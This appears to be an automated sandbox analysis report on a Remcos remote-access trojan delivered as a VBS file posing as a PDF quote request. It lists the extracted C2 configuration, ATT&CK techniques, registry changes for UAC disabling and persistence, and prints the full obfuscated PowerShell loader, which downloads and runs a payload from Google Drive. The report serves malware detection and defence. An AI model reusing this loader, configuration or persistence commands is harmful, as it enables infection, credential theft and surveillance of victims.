remcos | fd159a5f1594eb2cf854a2ea8dd03846f73e99bfbf725f44d15659f36c29db51

Analysis

max time kernel
299s
max time network
282s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06/11/2024, 01:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NTU 報價請求項目 FMD2024UOS·pdf.vbs
Size 15KB
Sample241106-cdvrhasgjg
SHA256 424d1b064b6e0a04e251193013187b35a779473df7411dcc285dc1284cf618d7
MD5 7a8593917a881f736dae40fd3e739aa9
SHA1 86f696ac97647bac9ef92b24e0818a97a70aee53
SHA512 66ee428b08ac48a8550eeec67d3f41540dfb792e24408bb84a08888c69468dec834d0cff167cb62790f14277d35d173f239ee59b4af1c4fddd6b29b6169ed132
SSDEEP 192:qzb9JpgciToUkIWTErzlS8HIYVFlXQNE7VrMPQ2cV3766aT0VA:SbLuXTiTErZSCH3gNEmyPVA
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection credential_access discovery evasion execution persistence rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

a458386d9.duckdns.org:3256

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-4EN793
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4816-212-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4396-209-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4304-208-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4396-209-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4304-208-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

flow	pid	Process
3	3656	WScript.exe
7	4276	powershell.exe
11	4276	powershell.exe
34	3864	msiexec.exe
36	3864	msiexec.exe
38	3864	msiexec.exe
40	3864	msiexec.exe
42	3864	msiexec.exe
53	3864	msiexec.exe
60	3864	msiexec.exe
61	3864	msiexec.exe
63	3864	msiexec.exe
62	3864	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
4372	Chrome.exe
1908	Chrome.exe
2284	msedge.exe
3276	msedge.exe
4416	Chrome.exe
4600	Chrome.exe
4344	msedge.exe
1936	msedge.exe
4460	msedge.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Stephanurus% -windowstyle 1 $Optagelseskravets=(gp -Path 'HKCU:\\Software\\Upholstering\\').Playscript;%Stephanurus% ($Optagelseskravets)"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4276	powershell.exe
3812	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com
34	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3864	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3812	powershell.exe
3864	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3864 set thread context of 4304	3864	msiexec.exe	125
PID 3864 set thread context of 4396	3864	msiexec.exe	127
PID 3864 set thread context of 4816	3864	msiexec.exe	128

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
3428	reg.exe
2264	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4276	powershell.exe
4276	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
4416	Chrome.exe
4416	Chrome.exe
4416	Chrome.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
3812	powershell.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe
3864	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4344	msedge.exe
4344	msedge.exe
4344	msedge.exe
4344	msedge.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeShutdownPrivilege	4416	Chrome.exe
Token: SeCreatePagefilePrivilege	4416	Chrome.exe
Token: SeShutdownPrivilege	4416	Chrome.exe
Token: SeCreatePagefilePrivilege	4416	Chrome.exe
Token: SeDebugPrivilege	4816	msiexec.exe
Token: SeShutdownPrivilege	4416	Chrome.exe
Token: SeCreatePagefilePrivilege	4416	Chrome.exe
Token: SeShutdownPrivilege	4416	Chrome.exe
Token: SeCreatePagefilePrivilege	4416	Chrome.exe
Token: SeShutdownPrivilege	4416	Chrome.exe
Token: SeCreatePagefilePrivilege	4416	Chrome.exe
Token: SeShutdownPrivilege	4416	Chrome.exe
Token: SeCreatePagefilePrivilege	4416	Chrome.exe
Token: SeShutdownPrivilege	4416	Chrome.exe
Token: SeCreatePagefilePrivilege	4416	Chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4416	Chrome.exe
4344	msedge.exe
4344	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3864	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3656 wrote to memory of 4276	3656	WScript.exe	84
PID 3656 wrote to memory of 4276	3656	WScript.exe	84
PID 3812 wrote to memory of 3864	3812	powershell.exe	101
PID 3812 wrote to memory of 3864	3812	powershell.exe	101
PID 3812 wrote to memory of 3864	3812	powershell.exe	101
PID 3812 wrote to memory of 3864	3812	powershell.exe	101
PID 3864 wrote to memory of 3952	3864	msiexec.exe	102
PID 3864 wrote to memory of 3952	3864	msiexec.exe	102
PID 3864 wrote to memory of 3952	3864	msiexec.exe	102
PID 3952 wrote to memory of 3428	3952	cmd.exe	105
PID 3952 wrote to memory of 3428	3952	cmd.exe	105
PID 3952 wrote to memory of 3428	3952	cmd.exe	105
PID 3864 wrote to memory of 1880	3864	msiexec.exe	108
PID 3864 wrote to memory of 1880	3864	msiexec.exe	108
PID 3864 wrote to memory of 1880	3864	msiexec.exe	108
PID 1880 wrote to memory of 2264	1880	cmd.exe	110
PID 1880 wrote to memory of 2264	1880	cmd.exe	110
PID 1880 wrote to memory of 2264	1880	cmd.exe	110
PID 3864 wrote to memory of 4416	3864	msiexec.exe	113
PID 3864 wrote to memory of 4416	3864	msiexec.exe	113
PID 4416 wrote to memory of 1480	4416	Chrome.exe	114
PID 4416 wrote to memory of 1480	4416	Chrome.exe	114
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 3508	4416	Chrome.exe	115
PID 4416 wrote to memory of 2004	4416	Chrome.exe	116
PID 4416 wrote to memory of 2004	4416	Chrome.exe	116
PID 4416 wrote to memory of 3924	4416	Chrome.exe	117
PID 4416 wrote to memory of 3924	4416	Chrome.exe	117
PID 4416 wrote to memory of 3924	4416	Chrome.exe	117
PID 4416 wrote to memory of 3924	4416	Chrome.exe	117
PID 4416 wrote to memory of 3924	4416	Chrome.exe	117
PID 4416 wrote to memory of 3924	4416	Chrome.exe	117
PID 4416 wrote to memory of 3924	4416	Chrome.exe	117
PID 4416 wrote to memory of 3924	4416	Chrome.exe	117
PID 4416 wrote to memory of 3924	4416	Chrome.exe	117
PID 4416 wrote to memory of 3924	4416	Chrome.exe	117

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NTU 報價請求項目 FMD2024UOS·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#agamemnon Rentekoder Hypaton Sumpegnenes #>;$Decursion='Brancher';<#Haploses Lecanine Phorrhea Xylomancy #>; function Feltprovsts($Whitethorn93){If ($host.DebuggerEnabled) {$merginae++;}$Arrestants=$Zoea+$Whitethorn93.'Length' - $merginae; for ( $Valgteknisk=4;$Valgteknisk -lt $Arrestants;$Valgteknisk+=5){$Sengekanten132=$Valgteknisk;$Fremtidsmulighedernes185+=$Whitethorn93[$Valgteknisk];}$Fremtidsmulighedernes185;}function Bstrup($Centrifugalpumpe){ & ($Lotuses) ($Centrifugalpumpe);}$kisra=Feltprovsts 'AdmoM UlkoSkilzVeheiO.enlblanlConcaEbcd/Tele ';$Forestful=Feltprovsts 'BenzTSpralPosisSugg1 Hyl2Vurd ';$Anetavlerne=' nex[ AnuNDommE rooTPict. umS.ingeE sprM rav rdi Polc onrEDiskpIndbOCrioINonmn ImbtFlorm He A nsuNSonaARoamgTer,ElapiRAbri]Hapl:Perv:FalsSKonteKaldCAlteU Ba.rUn aiKvgptK tcYAfstpModsR NumoHe,dt elo agtCUnadoEarwlForu=W ol$A.etFAndeOQuarR coleBogsSAmphTChefF M rUO.ziLKako ';$kisra+=Feltprovsts 'Sk l5 Afs. Reg0Awhe Ulm,(zelaW KuliEskanFor.dShi oBanewFodbsSego ForeNAutoT,ail Fali1 Udk0Kokk.S,ip0Sp.r; Sub Ru.nW.eltiAri.nHelt6sf,r4Sign;Fo,s Commx cyt6Refu4Epan; Si Pho r anvGain: K.l1Pejs3Musi1Poco.lav 0Slbe)Appr Sub GJordeElemcTanakSupeoShlu/Prog2Diab0had 1Bi e0Ansl0Udl,1 A s0Char1Peas TjrF.remiDemor rhveUnprfD.yloCactxCa p/U pr1Bi d3Hydr1Offe.Supp0M ul ';$Polar=Feltprovsts 'CockUDagbsSagiePantRForr- KonAGrusgtamaEAgl.nK,ltTOvis ';$Misbelieving=Feltprovsts 'Sch hDatatTramtMisspB.res f,e: K t/Tril/.movdTaagrBkkei KirvSubsetvan. TingTrsko nano OvegTryglChrye No .PortcFo so E.om ub/Po puKimbc All?P unequeexTracpUdkro AutrPreit ,ea=Eat.d B.loB,llwSc onSubclAnkeohejsaP osdAdel&SlaniTidsd Hin=Nonz1Jarrv Quil SmaiTesknPleoaSi twBuesC P rC,ageD UnmdGrecnZen Caffr8A.opGRkenaUpr rfarmsBar rUnf,IPran_ Ek ERep oInsaya toHWale1 ManNHemiC carS Ove5Fuml8 Un,C UncwBr e ';$Bevilliget=Feltprovsts 'Auto>Sabb ';$Lotuses=Feltprovsts 'TricI herEFingXDire ';$Valgtekniskmpinge='Slverglderne';$Maltsters='\Inflicts.Kol';Bstrup (Feltprovsts ' Mi $B.kmg usLNephO ffebForpaViaml upe: DesS TyvtallertherASyllp ortPPer.eKultTGuds=Tryk$tallEggehN Sgev Str: M sAVisiPHderpDu eDR,anAHatttPergaGard+ til$SortmdumbaBekol Ci.TByggsMunitSaksePinar P asmega ');Bstrup (Feltprovsts 'Elev$ HstGSameL GreoD.libBarba UdlL Sph:j dgr,rokaVedhALineKTurnORegnsBygnTModej FraeRhinrStreNBolv=Kitt$PkwyM.atuIm.weS Bl,bOvere B wL Fo iSkr e BikvStvsISkranDomsgunde.synsS mgrp yrlAgnoI Tott S k(Mowl$GaibBBlomE C uvAt.oIUndeL FryLBaudIO ttgAf,oeUberTStr ) Cat ');Bstrup (Feltprovsts $Anetavlerne);$Misbelieving=$Raakostjern[0];$Cynoxylon9=(Feltprovsts 'Dukk$Un oGSid LRektO Pe.B yroASav,l lus:BodeCZamboSparr avrValuA.nvosthadICos oChalnNagk1Cont2Him,1 O,p=ArchNGange UniWSkil-SmaaOIcelBA miJPy aeRokkCPartTJa,u Gup.SE teYEwassMatrTNordE AnamPoli. OppnKorneTndct Non.E lewPersE DecBFeriCSul,lKrici,ompeI,jiNRiddtanti ');Bstrup ($Cynoxylon9);Bstrup (Feltprovsts 'Bigr$Un oC,atuoTilbrOverrIonia NonsIncoi ImmoDiscnHal,1Fors2 Isf1.ame.Pen HT.roe CoaaUnfidMoste nker la,sCloc[ ,ng$CeruPAlveoD vilStr aSpdbr Ext]flas=Cuff$ GrokSo.riHaemsMockrSperaTal ');$Gnomic=Feltprovsts ' opv$ArtiC .ipoKa.irChibr igtaSskes iltiGratoSmrrnMona1 sup2Comm1F tt.Ge.mDPolyo tilw st n StnlSpgeoBelia Sv dSte FDogbiB hol,fgaeSkyl(Unex$ DuaMG ssi Hyps.igsbSahaePrimlRabaiKoffeUnm v.ncaiRessn alkg ,tj,Phar$.aksKT knn Sexi,hesrVangkIndveNonprDes iGamoeBic rolie) Tha ';$Knirkerier=$Strappet;Bstrup (Feltprovsts ' P i$F.legSbekLSl poLeprBskemaUn clUnst:til b TitL nopvGlamr ForeT.rpd skre For=Imag( ngsTHemoEGameSLo,qT Fly-Vk tpAppra CacT TyrHUnse Ro $ aviK PenNSlynIUngiRHos,KBra E AutRElekipup.E Trar Lo,)Diat ');while (!$Blvrede) {Bstrup (Feltprovsts ' No $DerhgTyggl alsoKrepb Ga aRaptlUdlu:MidsAWartb U fjN,neeAf.icParat andn Bo.eDigts RhesOc.a=Fluo$abtutacinrTrenuUnsleDrug ') ;Bstrup $Gnomic;Bstrup (Feltprovsts ' rouSJagttU,faAI drRBractLuna-CoucS K flBorgEnaphESupePNavl Use4Rezo ');Bstrup (Feltprovsts 'Cop $ UndGFarvLPat O Pu B,ulpaWorsL dre:Sch.b B alMurivK.rorStraeGaleD UndEAkac=Pret(Sk ttTjleeCe,bs EsttA,en- O ePBlomaSt dTknivHP.em Ord$Myelk F sNDunkiSnigr.ormk BrdEAnteRTimeiFodleThorR Kru),ini ') ;Bstrup (Feltprovsts ' Lur$flskGligeLFo,dO TymBThyrAGrunLAcce: putcPropoGor EI kbnMystzS neySolfm T nAJespTKberI FuncRoug= Fi $Snu GPatrLGldeoObjeb AntANegoLSele: UnpR peruPrveSPleue ellRGlacN Bree Kap+Ahea+ S,r% Kvl$u,orRVeinAT.ltASmokK,vioOPampsBjrgtRe.eJTerrEAnpaRD.scNReor.PlesCMegroroc USk snRystt Klu ') ;$Misbelieving=$Raakostjern[$Coenzymatic];}$Sympathique=315454;$Rhatanies=31106;Bstrup (Feltprovsts ' ugl$ SubgdlvyLCameo Un,bKnudaFjorLChef:MellkSmedy Ya,s Snut MonkUne lA phIMonomSmdeaMyose Mart m s riv=Bear d rigSoveeb dgtPres-RehnCHystoT arnS urTNongELiseNUdk,t ele Ineb$RugkKOxyaN Lsei Mo rPortKIso,E F.nrPhociAntiEUn.lr ,it ');Bstrup (Feltprovsts 'Brsr$ Forg estlKostoI dsbInfiaprocl,art: IradMilie blid FejiJordkCh na AdetSik,iColuo ThenEucgs GraeSyerk Brns.teleRaadmSamspDrejlCo.raS nor edaeCigardialnElekeAssesV nv Refu=Allo Mill[vrleSMi,iyUnlisIndatTr.pe Svim K s.OeilCKalkoSuggnA.stvHeaveTag rVaretSina] Ene: ro:Ko.mF Indr oxpoShotmForaB nda vrssa ieSk.t6S ri4Hg,pSov rtIdiorBookiOchfnOut gTriv(Rebr$Ci iKHypey aftsdiskt .ackEleklUdtri mkkmSulka Supe ,ectTorb)Enef ');Bstrup (Feltprovsts 'Vurd$SkivGFgtnL copOPre BsexoAOrculMa,d:DesoVVitiI nsuc MinEr weL .coIsta KskeeEGe,z Impu=.ext regg[Antis snYMuttsPo eTNymaeGaapM iru.TuritPoole lnsxsyslt ong.Kbe e NewnPrelCKoraO TraD ReciU stN Gc Gblte]Kern:Tote: Vsea.ncosB whCUnoiiBenwiCirc. Mi GMandeRdhat afbsBoucT,rapRSa vit aaNUdleGByeg(,uto$ S ld komeC,amDOverIOchoK kriATrocT nhIEnhaOPeriNFlansskrue IarKRdbrsFe tECo.eMi teptrapL T.oARungrDataeLabbrDropN PneeSupesProd)Reco ');Bstrup (Feltprovsts 'Red.$MetrgSvu lTeglOStatbunc.a LaslB,rd: bedpP etoQuadt ChoeK.rasRegit quaA efrTRec E Mis=Frer$UnduVKargITvisC TveE linl ArbIM ndKKlasE lf. .crSFoulUEm,rbUn,eStoaktBeguRstiniTurrnBor GBaro( ith$Begys ,xpYMar,MSoegPF.rsAKonttStavHMumliAgilq Kemu IndESm,s, ,il$ M,trWageH ,taaSlovtb,bbaCatiN ildiEromEGa.oSUnu )Cupo ');Bstrup $Potestate;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#agamemnon Rentekoder Hypaton Sumpegnenes #>;$Decursion='Brancher';<#Haploses Lecanine Phorrhea Xylomancy #>; function Feltprovsts($Whitethorn93){If ($host.DebuggerEnabled) {$merginae++;}$Arrestants=$Zoea+$Whitethorn93.'Length' - $merginae; for ( $Valgteknisk=4;$Valgteknisk -lt $Arrestants;$Valgteknisk+=5){$Sengekanten132=$Valgteknisk;$Fremtidsmulighedernes185+=$Whitethorn93[$Valgteknisk];}$Fremtidsmulighedernes185;}function Bstrup($Centrifugalpumpe){ & ($Lotuses) ($Centrifugalpumpe);}$kisra=Feltprovsts 'AdmoM UlkoSkilzVeheiO.enlblanlConcaEbcd/Tele ';$Forestful=Feltprovsts 'BenzTSpralPosisSugg1 Hyl2Vurd ';$Anetavlerne=' nex[ AnuNDommE rooTPict. umS.ingeE sprM rav rdi Polc onrEDiskpIndbOCrioINonmn ImbtFlorm He A nsuNSonaARoamgTer,ElapiRAbri]Hapl:Perv:FalsSKonteKaldCAlteU Ba.rUn aiKvgptK tcYAfstpModsR NumoHe,dt elo agtCUnadoEarwlForu=W ol$A.etFAndeOQuarR coleBogsSAmphTChefF M rUO.ziLKako ';$kisra+=Feltprovsts 'Sk l5 Afs. Reg0Awhe Ulm,(zelaW KuliEskanFor.dShi oBanewFodbsSego ForeNAutoT,ail Fali1 Udk0Kokk.S,ip0Sp.r; Sub Ru.nW.eltiAri.nHelt6sf,r4Sign;Fo,s Commx cyt6Refu4Epan; Si Pho r anvGain: K.l1Pejs3Musi1Poco.lav 0Slbe)Appr Sub GJordeElemcTanakSupeoShlu/Prog2Diab0had 1Bi e0Ansl0Udl,1 A s0Char1Peas TjrF.remiDemor rhveUnprfD.yloCactxCa p/U pr1Bi d3Hydr1Offe.Supp0M ul ';$Polar=Feltprovsts 'CockUDagbsSagiePantRForr- KonAGrusgtamaEAgl.nK,ltTOvis ';$Misbelieving=Feltprovsts 'Sch hDatatTramtMisspB.res f,e: K t/Tril/.movdTaagrBkkei KirvSubsetvan. TingTrsko nano OvegTryglChrye No .PortcFo so E.om ub/Po puKimbc All?P unequeexTracpUdkro AutrPreit ,ea=Eat.d B.loB,llwSc onSubclAnkeohejsaP osdAdel&SlaniTidsd Hin=Nonz1Jarrv Quil SmaiTesknPleoaSi twBuesC P rC,ageD UnmdGrecnZen Caffr8A.opGRkenaUpr rfarmsBar rUnf,IPran_ Ek ERep oInsaya toHWale1 ManNHemiC carS Ove5Fuml8 Un,C UncwBr e ';$Bevilliget=Feltprovsts 'Auto>Sabb ';$Lotuses=Feltprovsts 'TricI herEFingXDire ';$Valgtekniskmpinge='Slverglderne';$Maltsters='\Inflicts.Kol';Bstrup (Feltprovsts ' Mi $B.kmg usLNephO ffebForpaViaml upe: DesS TyvtallertherASyllp ortPPer.eKultTGuds=Tryk$tallEggehN Sgev Str: M sAVisiPHderpDu eDR,anAHatttPergaGard+ til$SortmdumbaBekol Ci.TByggsMunitSaksePinar P asmega ');Bstrup (Feltprovsts 'Elev$ HstGSameL GreoD.libBarba UdlL Sph:j dgr,rokaVedhALineKTurnORegnsBygnTModej FraeRhinrStreNBolv=Kitt$PkwyM.atuIm.weS Bl,bOvere B wL Fo iSkr e BikvStvsISkranDomsgunde.synsS mgrp yrlAgnoI Tott S k(Mowl$GaibBBlomE C uvAt.oIUndeL FryLBaudIO ttgAf,oeUberTStr ) Cat ');Bstrup (Feltprovsts $Anetavlerne);$Misbelieving=$Raakostjern[0];$Cynoxylon9=(Feltprovsts 'Dukk$Un oGSid LRektO Pe.B yroASav,l lus:BodeCZamboSparr avrValuA.nvosthadICos oChalnNagk1Cont2Him,1 O,p=ArchNGange UniWSkil-SmaaOIcelBA miJPy aeRokkCPartTJa,u Gup.SE teYEwassMatrTNordE AnamPoli. OppnKorneTndct Non.E lewPersE DecBFeriCSul,lKrici,ompeI,jiNRiddtanti ');Bstrup ($Cynoxylon9);Bstrup (Feltprovsts 'Bigr$Un oC,atuoTilbrOverrIonia NonsIncoi ImmoDiscnHal,1Fors2 Isf1.ame.Pen HT.roe CoaaUnfidMoste nker la,sCloc[ ,ng$CeruPAlveoD vilStr aSpdbr Ext]flas=Cuff$ GrokSo.riHaemsMockrSperaTal ');$Gnomic=Feltprovsts ' opv$ArtiC .ipoKa.irChibr igtaSskes iltiGratoSmrrnMona1 sup2Comm1F tt.Ge.mDPolyo tilw st n StnlSpgeoBelia Sv dSte FDogbiB hol,fgaeSkyl(Unex$ DuaMG ssi Hyps.igsbSahaePrimlRabaiKoffeUnm v.ncaiRessn alkg ,tj,Phar$.aksKT knn Sexi,hesrVangkIndveNonprDes iGamoeBic rolie) Tha ';$Knirkerier=$Strappet;Bstrup (Feltprovsts ' P i$F.legSbekLSl poLeprBskemaUn clUnst:til b TitL nopvGlamr ForeT.rpd skre For=Imag( ngsTHemoEGameSLo,qT Fly-Vk tpAppra CacT TyrHUnse Ro $ aviK PenNSlynIUngiRHos,KBra E AutRElekipup.E Trar Lo,)Diat ');while (!$Blvrede) {Bstrup (Feltprovsts ' No $DerhgTyggl alsoKrepb Ga aRaptlUdlu:MidsAWartb U fjN,neeAf.icParat andn Bo.eDigts RhesOc.a=Fluo$abtutacinrTrenuUnsleDrug ') ;Bstrup $Gnomic;Bstrup (Feltprovsts ' rouSJagttU,faAI drRBractLuna-CoucS K flBorgEnaphESupePNavl Use4Rezo ');Bstrup (Feltprovsts 'Cop $ UndGFarvLPat O Pu B,ulpaWorsL dre:Sch.b B alMurivK.rorStraeGaleD UndEAkac=Pret(Sk ttTjleeCe,bs EsttA,en- O ePBlomaSt dTknivHP.em Ord$Myelk F sNDunkiSnigr.ormk BrdEAnteRTimeiFodleThorR Kru),ini ') ;Bstrup (Feltprovsts ' Lur$flskGligeLFo,dO TymBThyrAGrunLAcce: putcPropoGor EI kbnMystzS neySolfm T nAJespTKberI FuncRoug= Fi $Snu GPatrLGldeoObjeb AntANegoLSele: UnpR peruPrveSPleue ellRGlacN Bree Kap+Ahea+ S,r% 